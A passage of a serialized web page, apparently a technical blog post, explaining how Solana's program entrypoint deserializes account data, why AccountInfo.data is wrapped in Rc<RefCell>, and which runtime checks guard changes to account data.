unsafe",{"type":23,"tag":504,"props":13684,"children":13685},{"style":523},[13686],{"type":28,"value":747},{"type":23,"tag":504,"props":13688,"children":13689},{"style":598},[13690],{"type":28,"value":9269},{"type":23,"tag":504,"props":13692,"children":13693},{"style":511},[13694],{"type":28,"value":13695},"crate",{"type":23,"tag":504,"props":13697,"children":13698},{"style":598},[13699],{"type":28,"value":2457},{"type":23,"tag":504,"props":13701,"children":13702},{"style":523},[13703],{"type":28,"value":13704},"entrypoint",{"type":23,"tag":504,"props":13706,"children":13707},{"style":598},[13708],{"type":28,"value":2457},{"type":23,"tag":504,"props":13710,"children":13711},{"style":517},[13712],{"type":28,"value":13713},"deserialize",{"type":23,"tag":504,"props":13715,"children":13716},{"style":523},[13717],{"type":28,"value":526},{"type":23,"tag":504,"props":13719,"children":13720},{"style":529},[13721],{"type":28,"value":7350},{"type":23,"tag":504,"props":13723,"children":13724},{"style":523},[13725],{"type":28,"value":13726},") };\n",{"type":23,"tag":504,"props":13728,"children":13729},{"class":506,"line":687},[13730,13735,13740,13745,13749,13753,13757,13761,13765,13769,13773,13777,13781],{"type":23,"tag":504,"props":13731,"children":13732},{"style":544},[13733],{"type":28,"value":13734},"    match",{"type":23,"tag":504,"props":13736,"children":13737},{"style":598},[13738],{"type":28,"value":13739}," $",{"type":23,"tag":504,"props":13741,"children":13742},{"style":529},[13743],{"type":28,"value":13744},"process_instruction",{"type":23,"tag":504,"props":13746,"children":13747},{"style":523},[13748],{"type":28,"value":526},{"type":23,"tag":504,"props":13750,"children":13751},{"style":598},[13752],{"type":28,"value":2086},{"type":23,"tag":504,"props":13754,"children":13755},{"style":529},[13756],{"type":28,"value":13647},{"type":23,"tag":504,"props":13758,"children":13759},{"style":523},[13760],{"type":28,"value":576},{"type":23,"tag":504,"props":13762,"children":13763},{"style":598},[13764],{"type":28,"value":2086},{"type":23,"tag":504,"props":13766,"children":13767},{"style":529},[13768],{"type":28,"value":13656},{"type":23,"tag":504,"props":13770,"children":13771},{"style":523},[13772],{"type":28,"value":576},{"type":23,"tag":504,"props":13774,"children":13775},{"style":598},[13776],{"type":28,"value":2086},{"type":23,"tag":504,"props":13778,"children":13779},{"style":529},[13780],{"type":28,"value":13665},{"type":23,"tag":504,"props":13782,"children":13783},{"style":523},[13784],{"type":28,"value":537},{"type":23,"tag":504,"props":13786,"children":13787},{"class":506,"line":736},[13788,13793,13798,13803,13807,13811,13815,13819,13823],{"type":23,"tag":504,"props":13789,"children":13790},{"style":1012},[13791],{"type":28,"value":13792},"        Ok",{"type":23,"tag":504,"props":13794,"children":13795},{"style":523},[13796],{"type":28,"value":13797},"(()) ",{"type":23,"tag":504,"props":13799,"children":13800},{"style":598},[13801],{"type":28,"value":13802},"=>",{"type":23,"tag":504,"props":13804,"children":13805},{"style":598},[13806],{"type":28,"value":13739},{"type":23,"tag":504,"props":13808,"children":13809},{"style":511},[13810],{"type":28,"value":13695},{"type":23,"tag":504,"props":13812,"children":13813},{"style":598},[13814],{"type":28,"value":2457},{"type":23,"tag":504,"props":13816,"children":13817},{"style":523},[13818],{"type":28,"value":13704},{"type":23,"tag":504,"props":13820,"children":13821},{"style":598},[13822],{"type":28,"value":2457},{"type":23,"tag":504,"props":13824,"children":13825},{"style":523},[13826],{"type":28,"value":13827},"SUCCESS,\n",{"type":23,"tag":504,"props":13829,"children":13830},{"class":506,"line":785},[13831,13836,13840,13844,13848,13852,13857,13861,13866],{"type":23,"tag":504,"props":13832,"children":13833},{"style":1012},[13834],{"type":28,"value":13835},"        Err",{"type":23,"tag":504,"props":13837,"children":13838},{"style":523},[13839],{"type":28,"value":526},{"type":23,"tag":504,"props":13841,"children":13842},{"style":529},[13843],{"type":28,"value":806},{"type":23,"tag":504,"props":13845,"children":13846},{"style":523},[13847],{"type":28,"value":2064},{"type":23,"tag":504,"props":13849,"children":13850},{"style":598},[13851],{"type":28,"value":13802},{"type":23,"tag":504,"props":13853,"children":13854},{"style":529},[13855],{"type":28,"value":13856}," error",{"type":23,"tag":504,"props":13858,"children":13859},{"style":598},[13860],{"type":28,"value":320},{"type":23,"tag":504,"props":13862,"children":13863},{"style":517},[13864],{"type":28,"value":13865},"into",{"type":23,"tag":504,"props":13867,"children":13868},{"style":523},[13869],{"type":28,"value":2467},{"type":23,"tag":504,"props":13871,"children":13872},{"class":506,"line":813},[13873],{"type":23,"tag":504,"props":13874,"children":13875},{"style":523},[13876],{"type":28,"value":875},{"type":23,"tag":504,"props":13878,"children":13879},{"class":506,"line":851},[13880],{"type":23,"tag":504,"props":13881,"children":13882},{"style":523},[13883],{"type":28,"value":884},{"type":23,"tag":24,"props":13885,"children":13886},{},[13887,13889,13894,13896,13902,13904,13911,13913,13919,13921,13928],{"type":28,"value":13888},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":56,"props":13890,"children":13892},{"className":13891},[],[13893],{"type":28,"value":2397},{"type":28,"value":13895}," buffer in from the loader, and calls ",{"type":23,"tag":56,"props":13897,"children":13899},{"className":13898},[],[13900],{"type":28,"value":13901},"solana_program::entrypoint::deserialize",{"type":28,"value":13903},", which then ",{"type":23,"tag":92,"props":13905,"children":13908},{"href":13906,"rel":13907},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[96],[13909],{"type":28,"value":13910},"parses out",{"type":28,"value":13912}," all the ",{"type":23,"tag":56,"props":13914,"children":13916},{"className":13915},[],[13917],{"type":28,"value":13918},"AccountInfo",{"type":28,"value":13920},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":92,"props":13922,"children":13925},{"href":13923,"rel":13924},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[96],[13926],{"type":28,"value":13927},"laid out",{"type":28,"value":3472},{"type":23,"tag":494,"props":13930,"children":13932},{"className":1957,"code":13931,"language":1956,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[13933],{"type":23,"tag":56,"props":13934,"children":13935},{"__ignoreMap":7},[13936,13953,14033,14066,14073,14121,14166,14174,14198],{"type":23,"tag":504,"props":13937,"children":13938},{"class":506,"line":507},[13939,13944,13948],{"type":23,"tag":504,"props":13940,"children":13941},{"style":523},[13942],{"type":28,"value":13943},"#[allow(clippy",{"type":23,"tag":504,"props":13945,"children":13946},{"style":598},[13947],{"type":28,"value":2457},{"type":23,"tag":504,"props":13949,"children":13950},{"style":523},[13951],{"type":28,"value":13952},"cast_ptr_alignment)]\n",{"type":23,"tag":504,"props":13954,"children":13955},{"class":506,"line":540},[13956,13960,13965,13969,13973,13977,13981,13985,13989,13993,13997,14001,14005,14009,14013,14017,14021,14025,14029],{"type":23,"tag":504,"props":13957,"children":13958},{"style":511},[13959],{"type":28,"value":10769},{"type":23,"tag":504,"props":13961,"children":13962},{"style":529},[13963],{"type":28,"value":13964}," data_len",{"type":23,"tag":504,"props":13966,"children":13967},{"style":598},[13968],{"type":28,"value":648},{"type":23,"tag":504,"props":13970,"children":13971},{"style":598},[13972],{"type":28,"value":8797},{"type":23,"tag":504,"props":13974,"children":13975},{"style":523},[13976],{"type":28,"value":526},{"type":23,"tag":504,"props":13978,"children":13979},{"style":529},[13980],{"type":28,"value":7350},{"type":23,"tag":504,"props":13982,"children":13983},{"style":598},[13984],{"type":28,"value":320},{"type":23,"tag":504,"props":13986,"children":13987},{"style":517},[13988],{"type":28,"value":8618},{"type":23,"tag":504,"props":13990,"children":13991},{"style":523},[13992],{"type":28,"value":526},{"type":23,"tag":504,"props":13994,"children":13995},{"style":529},[13996],{"type":28,"value":12882},{"type":23,"tag":504,"props":13998,"children":13999},{"style":523},[14000],{"type":28,"value":2064},{"type":23,"tag":504,"props":14002,"children":14003},{"style":511},[14004],{"type":28,"value":7825},{"type":23,"tag":504,"props":14006,"children":14007},{"style":598},[14008],{"type":28,"value":8797},{"type":23,"tag":504,"props":14010,"children":14011},{"style":511},[14012],{"type":28,"value":8635},{"type":23,"tag":504,"props":14014,"children":14015},{"style":1012},[14016],{"type":28,"value":4843},{"type":23,"tag":504,"props":14018,"children":14019},{"style":523},[14020],{"type":28,"value":2064},{"type":23,"tag":504,"props":14022,"children":14023},{"style":511},[14024],{"type":28,"value":7825},{"type":23,"tag":504,"props":14026,"children":14027},{"style":1012},[14028],{"type":28,"value":12712},{"type":23,"tag":504,"props":14030,"children":14031},{"style":523},[14032],{"type":28,"value":866},{"type":23,"tag":504,"props":14034,"children":14035},{"class":506,"line":555},[14036,14040,14045,14050,14054,14058,14062],{"type":23,"tag":504,"props":14037,"children":14038},{"style":529},[14039],{"type":28,"value":12882},{"type":23,"tag":504,"props":14041,"children":14042},{"style":598},[14043],{"type":28,"value":14044}," +=",{"type":23,"tag":504,"props":14046,"children":14047},{"style":517},[14048],{"type":28,"value":14049}," size_of",{"type":23,"tag":504,"props":14051,"children":14052},{"style":598},[14053],{"type":28,"value":2457},{"type":23,"tag":504,"props":14055,"children":14056},{"style":523},[14057],{"type":28,"value":4789},{"type":23,"tag":504,"props":14059,"children":14060},{"style":1012},[14061],{"type":28,"value":7025},{"type":23,"tag":504,"props":14063,"children":14064},{"style":523},[14065],{"type":28,"value":7435},{"type":23,"tag":504,"props":14067,"children":14068},{"class":506,"line":633},[14069],{"type":23,"tag":504,"props":14070,"children":14071},{"emptyLinePlaceholder":16},[14072],{"type":28,"value":1038},{"type":23,"tag":504,"props":14074,"children":14075},{"class":506,"line":687},[14076,14080,14085,14089,14094,14098,14103,14108,14112,14116],{"type":23,"tag":504,"props":14077,"children":14078},{"style":511},[14079],{"type":28,"value":10769},{"type":23,"tag":504,"props":14081,"children":14082},{"style":529},[14083],{"type":28,"value":14084}," data",{"type":23,"tag":504,"props":14086,"children":14087},{"style":598},[14088],{"type":28,"value":648},{"type":23,"tag":504,"props":14090,"children":14091},{"style":1012},[14092],{"type":28,"value":14093}," Rc",{"type":23,"tag":504,"props":14095,"children":14096},{"style":598},[14097],{"type":28,"value":2457},{"type":23,"tag":504,"props":14099,"children":14100},{"style":517},[14101],{"type":28,"value":14102},"new",{"type":23,"tag":504,"props":14104,"children":14105},{"style":523},[14106],{"type":28,"value":14107},"(RefCell",{"type":23,"tag":504,"props":14109,"children":14110},{"style":598},[14111],{"type":28,"value":2457},{"type":23,"tag":504,"props":14113,"children":14114},{"style":517},[14115],{"type":28,"value":14102},{"type":23,"tag":504,"props":14117,"children":14118},{"style":523},[14119],{"type":28,"value":14120},"({\n",{"type":23,"tag":504,"props":14122,"children":14123},{"class":506,"line":736},[14124,14129,14133,14137,14141,14145,14149,14153,14158,14162],{"type":23,"tag":504,"props":14125,"children":14126},{"style":517},[14127],{"type":28,"value":14128},"    from_raw_parts_mut",{"type":23,"tag":504,"props":14130,"children":14131},{"style":523},[14132],{"type":28,"value":526},{"type":23,"tag":504,"props":14134,"children":14135},{"style":529},[14136],{"type":28,"value":7350},{"type":23,"tag":504,"props":14138,"children":14139},{"style":598},[14140],{"type":28,"value":320},{"type":23,"tag":504,"props":14142,"children":14143},{"style":517},[14144],{"type":28,"value":8618},{"type":23,"tag":504,"props":14146,"children":14147},{"style":523},[14148],{"type":28,"value":526},{"type":23,"tag":504,"props":14150,"children":14151},{"style":529},[14152],{"type":28,"value":12882},{"type":23,"tag":504,"props":14154,"children":14155},{"style":523},[14156],{"type":28,"value":14157},"), ",{"type":23,"tag":504,"props":14159,"children":14160},{"style":529},[14161],{"type":28,"value":12787},{"type":23,"tag":504,"props":14163,"children":14164},{"style":523},[14165],{"type":28,"value":1192},{"type":23,"tag":504,"props":14167,"children":14168},{"class":506,"line":785},[14169],{"type":23,"tag":504,"props":14170,"children":14171},{"style":523},[14172],{"type":28,"value":14173},"}));\n",{"type":23,"tag":504,"props":14175,"children":14176},{"class":506,"line":813},[14177,14181,14185,14189,14193],{"type":23,"tag":504,"props":14178,"children":14179},{"style":529},[14180],{"type":28,"value":12882},{"type":23,"tag":504,"props":14182,"children":14183},{"style":598},[14184],{"type":28,"value":14044},{"type":23,"tag":504,"props":14186,"children":14187},{"style":529},[14188],{"type":28,"value":13964},{"type":23,"tag":504,"props":14190,"children":14191},{"style":598},[14192],{"type":28,"value":7888},{"type":23,"tag":504,"props":14194,"children":14195},{"style":523},[14196],{"type":28,"value":14197}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":504,"props":14199,"children":14200},{"class":506,"line":851},[14201,14205,14209,14213,14217,14221,14225,14229,14233,14237,14241,14246,14251],{"type":23,"tag":504,"props":14202,"children":14203},{"style":529},[14204],{"type":28,"value":12882},{"type":23,"tag":504,"props":14206,"children":14207},{"style":598},[14208],{"type":28,"value":14044},{"type":23,"tag":504,"props":14210,"children":14211},{"style":523},[14212],{"type":28,"value":801},{"type":23,"tag":504,"props":14214,"children":14215},{"style":529},[14216],{"type":28,"value":12882},{"type":23,"tag":504,"props":14218,"children":14219},{"style":511},[14220],{"type":28,"value":7811},{"type":23,"tag":504,"props":14222,"children":14223},{"style":598},[14224],{"type":28,"value":8797},{"type":23,"tag":504,"props":14226,"children":14227},{"style":511},[14228],{"type":28,"value":8635},{"type":23,"tag":504,"props":14230,"children":14231},{"style":1012},[14232],{"type":28,"value":13615},{"type":23,"tag":504,"props":14234,"children":14235},{"style":523},[14236],{"type":28,"value":2105},{"type":23,"tag":504,"props":14238,"children":14239},{"style":598},[14240],{"type":28,"value":320},{"type":23,"tag":504,"props":14242,"children":14243},{"style":517},[14244],{"type":28,"value":14245},"align_offset",{"type":23,"tag":504,"props":14247,"children":14248},{"style":523},[14249],{"type":28,"value":14250},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":504,"props":14252,"children":14253},{"style":1106},[14254],{"type":28,"value":14255},"// padding\n",{"type":23,"tag":24,"props":14257,"children":14258},{},[14259,14261,14266,14268,14274,14276,14287,14289,14294,14296,14302,14304,14310,14312,14318],{"type":28,"value":14260},"In English, we have the length of the data, as a ",{"type":23,"tag":56,"props":14262,"children":14264},{"className":14263},[],[14265],{"type":28,"value":7025},{"type":28,"value":14267},", followed immediately by the data, and an additional ",{"type":23,"tag":56,"props":14269,"children":14271},{"className":14270},[],[14272],{"type":28,"value":14273},"MAX_PERMITTED_DATA_INCREASE",{"type":28,"value":14275}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":92,"props":14277,"children":14280},{"href":14278,"rel":14279},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[96],[14281],{"type":23,"tag":56,"props":14282,"children":14284},{"className":14283},[],[14285],{"type":28,"value":14286},"slice::from_raw_parts_mut",{"type":28,"value":14288},") - slices are how Rust represents a, well, ",{"type":23,"tag":1887,"props":14290,"children":14291},{},[14292],{"type":28,"value":14293},"slice",{"type":28,"value":14295}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":56,"props":14297,"children":14299},{"className":14298},[],[14300],{"type":28,"value":14301},"Rc\u003CRefCell\u003CT>>",{"type":28,"value":14303},", giving us the unwieldy-looking type of ",{"type":23,"tag":56,"props":14305,"children":14307},{"className":14306},[],[14308],{"type":28,"value":14309},"AccountInfo.data",{"type":28,"value":14311},": ",{"type":23,"tag":56,"props":14313,"children":14315},{"className":14314},[],[14316],{"type":28,"value":14317},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":28,"value":320},{"type":23,"tag":24,"props":14320,"children":14321},{},[14322,14324,14331],{"type":28,"value":14323},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":92,"props":14325,"children":14328},{"href":14326,"rel":14327},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[96],[14329],{"type":28,"value":14330},"cloning the referenced account",{"type":28,"value":3472},{"type":23,"tag":494,"props":14333,"children":14335},{"className":1957,"code":14334,"language":1956,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[14336],{"type":23,"tag":56,"props":14337,"children":14338},{"__ignoreMap":7},[14339,14347],{"type":23,"tag":504,"props":14340,"children":14341},{"class":506,"line":507},[14342],{"type":23,"tag":504,"props":14343,"children":14344},{"style":1106},[14345],{"type":28,"value":14346},"// Duplicate account, clone the original\n",{"type":23,"tag":504,"props":14348,"children":14349},{"class":506,"line":540},[14350,14354,14358,14362,14366,14370,14374,14379,14383,14387,14392,14396,14401],{"type":23,"tag":504,"props":14351,"children":14352},{"style":529},[14353],{"type":28,"value":13656},{"type":23,"tag":504,"props":14355,"children":14356},{"style":598},[14357],{"type":28,"value":320},{"type":23,"tag":504,"props":14359,"children":14360},{"style":517},[14361],{"type":28,"value":2790},{"type":23,"tag":504,"props":14363,"children":14364},{"style":523},[14365],{"type":28,"value":526},{"type":23,"tag":504,"props":14367,"children":14368},{"style":529},[14369],{"type":28,"value":13656},{"type":23,"tag":504,"props":14371,"children":14372},{"style":523},[14373],{"type":28,"value":2711},{"type":23,"tag":504,"props":14375,"children":14376},{"style":529},[14377],{"type":28,"value":14378},"dup_info",{"type":23,"tag":504,"props":14380,"children":14381},{"style":511},[14382],{"type":28,"value":7811},{"type":23,"tag":504,"props":14384,"children":14385},{"style":1012},[14386],{"type":28,"value":12712},{"type":23,"tag":504,"props":14388,"children":14389},{"style":523},[14390],{"type":28,"value":14391},"]",{"type":23,"tag":504,"props":14393,"children":14394},{"style":598},[14395],{"type":28,"value":320},{"type":23,"tag":504,"props":14397,"children":14398},{"style":517},[14399],{"type":28,"value":14400},"clone",{"type":23,"tag":504,"props":14402,"children":14403},{"style":523},[14404],{"type":28,"value":14405},"());\n",{"type":23,"tag":24,"props":14407,"children":14408},{},[14409,14411,14416,14418,14423,14425,14430,14432,14437,14438,14444,14446,14451,14453,14465,14467,14472],{"type":28,"value":14410},"Since ",{"type":23,"tag":56,"props":14412,"children":14414},{"className":14413},[],[14415],{"type":28,"value":2679},{"type":28,"value":14417}," inside the ",{"type":23,"tag":56,"props":14419,"children":14421},{"className":14420},[],[14422],{"type":28,"value":13918},{"type":28,"value":14424}," is a ",{"type":23,"tag":56,"props":14426,"children":14428},{"className":14427},[],[14429],{"type":28,"value":14301},{"type":28,"value":14431},", where the ",{"type":23,"tag":56,"props":14433,"children":14435},{"className":14434},[],[14436],{"type":28,"value":4971},{"type":28,"value":14424},{"type":23,"tag":56,"props":14439,"children":14441},{"className":14440},[],[14442],{"type":28,"value":14443},"&mut [u8]",{"type":28,"value":14445}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":56,"props":14447,"children":14449},{"className":14448},[],[14450],{"type":28,"value":13918},{"type":28,"value":14452},", we get a new reference",{"type":23,"tag":14454,"props":14455,"children":14456},"sup",{},[14457],{"type":23,"tag":92,"props":14458,"children":14463},{"href":14459,"ariaDescribedBy":14460,"dataFootnoteRef":7,"id":14462},"#user-content-fn-rc-refs",[14461],"footnote-label","user-content-fnref-rc-refs",[14464],{"type":28,"value":2991},{"type":28,"value":14466}," to the slice pointing at the ",{"type":23,"tag":1887,"props":14468,"children":14469},{},[14470],{"type":28,"value":14471},"same",{"type":28,"value":14473}," data buffer.",{"type":23,"tag":24,"props":14475,"children":14476},{},[14477,14479,14485,14487,14493],{"type":28,"value":14478},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":56,"props":14480,"children":14482},{"className":14481},[],[14483],{"type":28,"value":14484},"RefCell",{"type":28,"value":14486}," to check the rules at runtime. (The ",{"type":23,"tag":56,"props":14488,"children":14490},{"className":14489},[],[14491],{"type":28,"value":14492},"lamports",{"type":28,"value":14494}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":24,"props":14496,"children":14497},{},[14498,14500,14506],{"type":28,"value":14499},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":56,"props":14501,"children":14503},{"className":14502},[],[14504],{"type":28,"value":14505},"AccountInfo::data",{"type":28,"value":14507},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":24,"props":14509,"children":14510},{},[14511,14513,14520],{"type":28,"value":14512},"This is also where the ",{"type":23,"tag":92,"props":14514,"children":14517},{"href":14515,"rel":14516},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[96],[14518],{"type":28,"value":14519},"runtime validity checks",{"type":28,"value":14521}," are imposed.",{"type":23,"tag":494,"props":14523,"children":14525},{"className":1957,"code":14524,"language":1956,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[14526],{"type":23,"tag":56,"props":14527,"children":14528},{"__ignoreMap":7},[14529,14537,14545,14553,14595,14613,14642,14687,14694,14717,14751,14775,14807,14822,14854,14861],{"type":23,"tag":504,"props":14530,"children":14531},{"class":506,"line":507},[14532],{"type":23,"tag":504,"props":14533,"children":14534},{"style":1106},[14535],{"type":28,"value":14536},"// Only the owner may change account data\n",{"type":23,"tag":504,"props":14538,"children":14539},{"class":506,"line":540},[14540],{"type":23,"tag":504,"props":14541,"children":14542},{"style":1106},[14543],{"type":28,"value":14544},"//   and if the account is writable\n",{"type":23,"tag":504,"props":14546,"children":14547},{"class":506,"line":555},[14548],{"type":23,"tag":504,"props":14549,"children":14550},{"style":1106},[14551],{"type":28,"value":14552},"//   and if the account is not executable\n",{"type":23,"tag":504,"props":14554,"children":14555},{"class":506,"line":633},[14556,14561,14565,14569,14573,14577,14582,14586,14591],{"type":23,"tag":504,"props":14557,"children":14558},{"style":544},[14559],{"type":28,"value":14560},"if",{"type":23,"tag":504,"props":14562,"children":14563},{"style":598},[14564],{"type":28,"value":11845},{"type":23,"tag":504,"props":14566,"children":14567},{"style":523},[14568],{"type":28,"value":526},{"type":23,"tag":504,"props":14570,"children":14571},{"style":529},[14572],{"type":28,"value":13647},{"type":23,"tag":504,"props":14574,"children":14575},{"style":598},[14576],{"type":28,"value":2260},{"type":23,"tag":504,"props":14578,"children":14579},{"style":529},[14580],{"type":28,"value":14581}," pre",{"type":23,"tag":504,"props":14583,"children":14584},{"style":598},[14585],{"type":28,"value":320},{"type":23,"tag":504,"props":14587,"children":14588},{"style":517},[14589],{"type":28,"value":14590},"owner",{"type":23,"tag":504,"props":14592,"children":14593},{"style":523},[14594],{"type":28,"value":1156},{"type":23,"tag":504,"props":14596,"children":14597},{"class":506,"line":687},[14598,14603,14608],{"type":23,"tag":504,"props":14599,"children":14600},{"style":598},[14601],{"type":28,"value":14602},"    &&",{"type":23,"tag":504,"props":14604,"children":14605},{"style":529},[14606],{"type":28,"value":14607}," is_writable",{"type":23,"tag":504,"props":14609,"children":14610},{"style":1106},[14611],{"type":28,"value":14612},"  // line coverage used to get branch coverage\n",{"type":23,"tag":504,"props":14614,"children":14615},{"class":506,"line":736},[14616,14620,14624,14628,14632,14637],{"type":23,"tag":504,"props":14617,"children":14618},{"style":598},[14619],{"type":28,"value":14602},{"type":23,"tag":504,"props":14621,"children":14622},{"style":598},[14623],{"type":28,"value":11845},{"type":23,"tag":504,"props":14625,"children":14626},{"style":529},[14627],{"type":28,"value":494},{"type":23,"tag":504,"props":14629,"children":14630},{"style":598},[14631],{"type":28,"value":320},{"type":23,"tag":504,"props":14633,"children":14634},{"style":517},[14635],{"type":28,"value":14636},"executable",{"type":23,"tag":504,"props":14638,"children":14639},{"style":523},[14640],{"type":28,"value":14641},"())\n",{"type":23,"tag":504,"props":14643,"children":14644},{"class":506,"line":785},[14645,14649,14653,14657,14661,14665,14670,14675,14679,14683],{"type":23,"tag":504,"props":14646,"children":14647},{"style":598},[14648],{"type":28,"value":14602},{"type":23,"tag":504,"props":14650,"children":14651},{"style":529},[14652],{"type":28,"value":14581},{"type":23,"tag":504,"props":14654,"children":14655},{"style":598},[14656],{"type":28,"value":320},{"type":23,"tag":504,"props":14658,"children":14659},{"style":517},[14660],{"type":28,"value":2679},{"type":23,"tag":504,"props":14662,"children":14663},{"style":523},[14664],{"type":28,"value":13024},{"type":23,"tag":504,"props":14666,"children":14667},{"style":598},[14668],{"type":28,"value":14669},"!=",{"type":23,"tag":504,"props":14671,"children":14672},{"style":529},[14673],{"type":28,"value":14674}," post",{"type":23,"tag":504,"props":14676,"children":14677},{"style":598},[14678],{"type":28,"value":320},{"type":23,"tag":504,"props":14680,"children":14681},{"style":517},[14682],{"type":28,"value":2679},{"type":23,"tag":504,"props":14684,"children":14685},{"style":523},[14686],{"type":28,"value":1156},{"type":23,"tag":504,"props":14688,"children":14689},{"class":506,"line":813},[14690],{"type":23,"tag":504,"props":14691,"children":14692},{"style":523},[14693],{"type":28,"value":9862},{"type":23,"tag":504,"props":14695,"children":14696},{"class":506,"line":851},[14697,14701,14705,14709,14713],{"type":23,"tag":504,"props":14698,"children":14699},{"style":544},[14700],{"type":28,"value":11261},{"type":23,"tag":504,"props":14702,"children":14703},{"style":529},[14704],{"type":28,"value":14581},{"type":23,"tag":504,"props":14706,"children":14707},{"style":598},[14708],{"type":28,"value":320},{"type":23,"tag":504,"props":14710,"children":14711},{"style":517},[14712],{"type":28,"value":14636},{"type":23,"tag":504,"props":14714,"children":14715},{"style":523},[14716],{"type":28,"value":1030},{"type":23,"tag":504,"props":14718,"children":14719},{"class":506,"line":869},[14720,14724,14729,14733,14738,14742,14747],{"type":23,"tag":504,"props":14721,"children":14722},{"style":544},[14723],{"type":28,"value":742},{"type":23,"tag":504,"props":14725,"children":14726},{"style":1012},[14727],{"type":28,"value":14728}," Err",{"type":23,"tag":504,"props":14730,"children":14731},{"style":523},[14732],{"type":28,"value":526},{"type":23,"tag":504,"props":14734,"children":14735},{"style":1012},[14736],{"type":28,"value":14737},"InstructionError",{"type":23,"tag":504,"props":14739,"children":14740},{"style":598},[14741],{"type":28,"value":2457},{"type":23,"tag":504,"props":14743,"children":14744},{"style":1012},[14745],{"type":28,"value":14746},"ExecutableDataModified",{"type":23,"tag":504,"props":14748,"children":14749},{"style":523},[14750],{"type":28,"value":630},{"type":23,"tag":504,"props":14752,"children":14753},{"class":506,"line":878},[14754,14758,14762,14767,14771],{"type":23,"tag":504,"props":14755,"children":14756},{"style":523},[14757],{"type":28,"value":791},{"type":23,"tag":504,"props":14759,"children":14760},{"style":544},[14761],{"type":28,"value":2293},{"type":23,"tag":504,"props":14763,"children":14764},{"style":544},[14765],{"type":28,"value":14766}," if",{"type":23,"tag":504,"props":14768,"children":14769},{"style":529},[14770],{"type":28,"value":14607},{"type":23,"tag":504,"props":14772,"children":14773},{"style":523},[14774],{"type":28,"value":552},{"type":23,"tag":504,"props":14776,"children":14777},{"class":506,"line":1221},[14778,14782,14786,14790,14794,14798,14803],{"type":23,"tag":504,"props":14779,"children":14780},{"style":544},[14781],{"type":28,"value":742},{"type":23,"tag":504,"props":14783,"children":14784},{"style":1012},[14785],{"type":28,"value":14728},{"type":23,"tag":504,"props":14787,"children":14788},{"style":523},[14789],{"type":28,"value":526},{"type":23,"tag":504,"props":14791,"children":14792},{"style":1012},[14793],{"type":28,"value":14737},{"type":23,"tag":504,"props":14795,"children":14796},{"style":598},[14797],{"type":28,"value":2457},{"type":23,"tag":504,"props":14799,"children":14800},{"style":1012},[14801],{"type":28,"value":14802},"ExternalAccountDataModified",{"type":23,"tag":504,"props":14804,"children":14805},{"style":523},[14806],{"type":28,"value":630},{"type":23,"tag":504,"props":14808,"children":14809},{"class":506,"line":1276},[14810,14814,14818],{"type":23,"tag":504,"props":14811,"children":14812},{"style":523},[14813],{"type":28,"value":791},{"type":23,"tag":504,"props":14815,"children":14816},{"style":544},[14817],{"type":28,"value":2293},{"type":23,"tag":504,"props":14819,"children":14820},{"style":523},[14821],{"type":28,"value":552},{"type":23,"tag":504,"props":14823,"children":14824},{"class":506,"line":1285},[14825,14829,14833,14837,14841,14845,14850],{"type":23,"tag":504,"props":14826,"children":14827},{"style":544},[14828],{"type":28,"value":742},{"type":23,"tag":504,"props":14830,"children":14831},{"style":1012},[14832],{"type":28,"value":14728},{"type":23,"tag":504,"props":14834,"children":14835},{"style":523},[14836],{"type":28,"value":526},{"type":23,"tag":504,"props":14838,"children":14839},{"style":1012},[14840],{"type":28,"value":14737},{"type":23,"tag":504,"props":14842,"children":14843},{"style":598},[14844],{"type":28,"value":2457},{"type":23,"tag":504,"props":14846,"children":14847},{"style":1012},[14848],{"type":28,"value":14849},"ReadonlyDataModified",{"type":23,"tag":504,"props":14851,"children":14852},{"style":523},[14853],{"type":28,"value":630},{"type":23,"tag":504,"props":14855,"children":14856},{"class":506,"line":1294},[14857],{"type":23,"tag":504,"props":14858,"children":14859},{"style":523},[14860],{"type":28,"value":875},{"type":23,"tag":504,"props":14862,"children":14863},{"class":506,"line":1302},[14864],{"type":23,"tag":504,"props":14865,"children":14866},{"style":523},[14867],{"type":28,"value":884},{"type":23,"tag":82,"props":14869,"children":14871},{"id":14870},"back-to-realloc",[14872,14874],{"type":28,"value":14873},"Back to 